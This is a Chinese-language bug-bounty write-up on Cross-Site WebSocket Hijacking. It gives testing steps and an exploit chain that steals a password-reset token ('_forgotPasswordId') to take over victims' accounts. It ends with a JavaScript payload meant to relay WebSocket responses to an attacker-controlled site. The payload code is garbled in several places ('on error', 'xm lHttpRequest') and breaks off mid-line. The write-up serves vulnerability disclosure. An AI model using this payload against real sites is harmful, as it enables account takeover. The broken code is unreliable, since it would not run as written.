
在一次漏洞懸賞活動中,我發現了一個使用WebSocket連接的應用,所以我檢查了WebSocket URL,發現它很容易受到CSWH的攻擊(WebSocket跨站劫持)
有關CSWH的更多詳細信息,可以訪問以下鏈接了解
https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html
首先,我們假設一個應用是通過以下URL建立websocket連接的 wss://website.com。關于驗證URL是否存在CSWH漏洞可以遵循以下步驟:
- 在瀏覽器上打開Web應用并登錄。
- 在新選項卡中輸入http://websocket.org/echo.html,輸入WebSocket URL并單擊“連接”。
- 建立連接后,你必須能夠從此頁面向服務器發送數據幀。接著,使用burpsuite的proxy捕獲websocket數據幀進行調試,多次發送,查看服務器如何響應。如果burp的回應和網頁的回應一樣,則表示目標很可能容易受到WebSocket跨站劫持的攻擊

通過以上步驟,我確定應用存在CSWH漏洞。
一旦在新選項卡上建立了WebSocket連接,我就收到了下面的websocket響應

從上述響應中你可看到,參數“_forgotPasswordId”的值為“null”。
現在我需要“_forgotPasswordId”參數來發送惡意請求來重置密碼。

我再次測試了Websocket連接,這次觀察到了如下回應,它包含一個forgetPasswordID令牌

利用
現在準備CSWH漏洞的利用鏈,重置密碼接管帳戶。以下由HTML代碼組成的payload會發送XHR請求,并把回應導向攻擊者控制的站點。
Testing var wsUri = "wss://host.com"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.on error = function(evt) { on error(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend('websocket fr ame '); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) {var xhr = new xm lHttpRequest();xhr.open("POST